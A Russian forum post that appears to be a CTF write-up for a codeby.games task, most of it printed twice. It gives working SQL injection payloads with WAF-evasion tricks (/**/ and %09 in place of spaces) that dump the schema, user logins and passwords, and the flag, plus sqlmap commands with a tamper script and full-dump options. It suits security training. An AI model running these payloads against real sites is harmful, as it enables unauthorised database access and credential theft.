Приветствую форумчан и любителей поиграть в CTF на codeby.games
Сегодня я разберу таск Базовая Авторизация 2. Решил я его разобрать по полочкам, и показать как это можно сделать. По данному таску, я не увидел решений.
У D3L1F3R на ютуб канале Я увидел как он получает флаг в этом задании, но разбора и какого то большого смысла я не увидел в этом(не в обиду сказано).
По этому беремся и решаем =)
Заходим на сайт , тестовые креды приложены в описании таска , это test test пробуем:
Конечно мы любим SqlInjection и проверяем это.
Сначала нам нужно проверить какое поле уязвимо, а это поле login скажу сразу. Как я понял? да на аккаунт можно попасть и без пароля. Вводишь логин и ты уже User ID 1 =) Скорее всего отсутствует проверка пароля.
Дальше мы пробуем самый обычный Union Based Injection:
Добавим ложное условие
test'AND false UNION SELECT 1,2-- -
Видим что стоит фильтрация и нам нужно найти в чем загвостка.
Можно конечно перебирать UNION И SELECT , но мы пробуем сразу подставить /**/ вместо пробелов, что мы видим:
Пропала плашка с WAF, но проблемка еще есть.
В качестве обхода пробельных символов могут срабатывать разные варианты.
В конце запроса у нас --+- вот этот + нам нужно как то заменить. И на помощь нам приходит %09 комбинация.
Хм опять ничего... Пробуем добавить количество колонок:
Ура инфа появилась =) Мы подобрали ключик, теперь попробуем какая колонка выводит информацию.
Пробуем первую:
Успешно =)
Если мы видим что работает Union , пробуем Dios технику , сейчас будет магия как вывести много чего интересного одним запросом:
'and/**/false/**/union/**/select/**/(select/**/(@a)/**/from/**/(select/**/(@a:=0x00),(select/**/(@a)/**/from/**/
(information_schema.columns)/**/where/**/table_schema!='information_schema'and(@a)/**/in/**/
(@a:=concat(@a,table_schema,'-->',table_name,'-->',column_name,'<br>'))))a),2,3--%09-
Здесь у нас идет название базы , таблицы и колонки которые имеются . Мы понимаем что скорее всего нам нужна таблица flags и колонка flag так и есть,
но мы пройдемся по всему.
Пробуем извлечь данные из колонок:
'and/**/false/**/union/**/select/**/(select/**/(@a)/**/from/**/(select/**/(@a:=0x00),(select/**/(@a)/**/from/**/
(data.users)/**/where/**/(@a)/**/in/**/(@a:=concat(@a,'<font/**/color=red>',login,'</font>','-->','<font/**/color=blue>',password,'</font>','<br>'))))a),2,3--%09-
Если обратить внимание на запрос, то мы понимаем, что извлекаем колонки login и password из таблицы users , вот в принципе и наши тестовые креды:
Попробуем вывести наш флаг:
'and/**/false/**/union/**/select/**/(select/**/(@a)/**/from/**/(select/**/(@a:=0x00),(select/**/(@a)/**/from/**/
(data.flags)/**/where/**/(@a)/**/in/**/(@a:=concat(@a,'<font/**/color=red>',flag,'</font>','<br>'))))a),2,3--%09-
Мы успешно извлекли наш флаг (^-^) и довольные идем сдавать его.
Думали это все? нет.
Сейчас я покажу как это можно раскрутить с помощью всеми любимым SQLMAP.
Сначала я начал решать его с помощью этого инструмента, но была ошибка. После я полез и разобрался с ним в ручную засучив рукава. Я понял что фильтруемся и какой тампер нужен. Пробуем:
В данной нагрузке есть такие ограничения по количеству запросов, так же указан space2comment , как раз таки он заменяет пробелы на /**/ .
sqlmap -u '
С начала мы извлекаем название базы данных
Далее мы извлекаем таблицы:
sqlmap -u '
Успешно, далее извлекаем колонки:
sqlmap -u '
Финальное извлечение всего остального:
sqlmap -u '
В принципе, все. Мы проделали большую работу и мы молодцы, задание оказалось интересным и были моменты где нужно было подумать.
Надеюсь это будет полезно, не в этом задании так в другом. Я старался рассказать прям совсем подробно, чтобы было понимание. SqlMap сила в правильных руках,
но сам по себе он работать не будет. Всем удачи и спасибо за внимание.
Сегодня я разберу таск Базовая Авторизация 2. Решил я его разобрать по полочкам, и показать как это можно сделать. По данному таску, я не увидел решений.
У D3L1F3R на ютуб канале Я увидел как он получает флаг в этом задании, но разбора и какого то большого смысла я не увидел в этом(не в обиду сказано).
По этому беремся и решаем =)
Заходим на сайт , тестовые креды приложены в описании таска , это test test пробуем:
Конечно мы любим SqlInjection и проверяем это.
Сначала нам нужно проверить какое поле уязвимо, а это поле login скажу сразу. Как я понял? да на аккаунт можно попасть и без пароля. Вводишь логин и ты уже User ID 1 =) Скорее всего отсутствует проверка пароля.
Дальше мы пробуем самый обычный Union Based Injection:
Добавим ложное условие
test'AND false UNION SELECT 1,2-- -
Видим что стоит фильтрация и нам нужно найти в чем загвостка.
Можно конечно перебирать UNION И SELECT , но мы пробуем сразу подставить /**/ вместо пробелов, что мы видим:
Пропала плашка с WAF, но проблемка еще есть.
В качестве обхода пробельных символов могут срабатывать разные варианты.
В конце запроса у нас --+- вот этот + нам нужно как то заменить. И на помощь нам приходит %09 комбинация.
Хм опять ничего... Пробуем добавить количество колонок:
Ура инфа появилась =) Мы подобрали ключик, теперь попробуем какая колонка выводит информацию.
Пробуем первую:
Успешно =)
Если мы видим что работает Union , пробуем Dios технику , сейчас будет магия как вывести много чего интересного одним запросом:
'and/**/false/**/union/**/select/**/(select/**/(@a)/**/from/**/(select/**/(@a:=0x00),(select/**/(@a)/**/from/**/
(information_schema.columns)/**/where/**/table_schema!='information_schema'and(@a)/**/in/**/
(@a:=concat(@a,table_schema,'-->',table_name,'-->',column_name,'<br>'))))a),2,3--%09-
Здесь у нас идет название базы , таблицы и колонки которые имеются . Мы понимаем что скорее всего нам нужна таблица flags и колонка flag так и есть,
но мы пройдемся по всему.
Пробуем извлечь данные из колонок:
'and/**/false/**/union/**/select/**/(select/**/(@a)/**/from/**/(select/**/(@a:=0x00),(select/**/(@a)/**/from/**/
(data.users)/**/where/**/(@a)/**/in/**/(@a:=concat(@a,'<font/**/color=red>',login,'</font>','-->','<font/**/color=blue>',password,'</font>','<br>'))))a),2,3--%09-
Если обратить внимание на запрос, то мы понимаем, что извлекаем колонки login и password из таблицы users , вот в принципе и наши тестовые креды:
Попробуем вывести наш флаг:
'and/**/false/**/union/**/select/**/(select/**/(@a)/**/from/**/(select/**/(@a:=0x00),(select/**/(@a)/**/from/**/
(data.flags)/**/where/**/(@a)/**/in/**/(@a:=concat(@a,'<font/**/color=red>',flag,'</font>','<br>'))))a),2,3--%09-
Мы успешно извлекли наш флаг (^-^) и довольные идем сдавать его.
Думали это все? нет.
Сейчас я покажу как это можно раскрутить с помощью всеми любимым SQLMAP.
Сначала я начал решать его с помощью этого инструмента, но была ошибка. После я полез и разобрался с ним в ручную засучив рукава. Я понял что фильтруемся и какой тампер нужен. Пробуем:
В данной нагрузке есть такие ограничения по количеству запросов, так же указан space2comment , как раз таки он заменяет пробелы на /**/ .
sqlmap -u '
Ссылка скрыта от гостей
' --tamper='space2comment' --current-db --dbms='MySQL' --no-cast --delay=0.3 --level=2 --risk=3 --batchС начала мы извлекаем название базы данных
Далее мы извлекаем таблицы:
sqlmap -u '
Ссылка скрыта от гостей
' --tamper='space2comment' -D data --tables --dbms='MySQL' --no-cast --delay=0.3 --level=2 --risk=3 --batchУспешно, далее извлекаем колонки:
sqlmap -u '
Ссылка скрыта от гостей
' --tamper='space2comment' -D data -T flags --columns --dbms='MySQL' --no-cast --delay=0.3 --level=2 --risk=3 --batchФинальное извлечение всего остального:
sqlmap -u '
Ссылка скрыта от гостей
' --tamper='space2comment' --dump --dbms='MySQL' --no-cast --delay=0.3 --level=2 --risk=3 --batchВ принципе, все. Мы проделали большую работу и мы молодцы, задание оказалось интересным и были моменты где нужно было подумать.
Надеюсь это будет полезно, не в этом задании так в другом. Я старался рассказать прям совсем подробно, чтобы было понимание. SqlMap сила в правильных руках,
но сам по себе он работать не будет. Всем удачи и спасибо за внимание.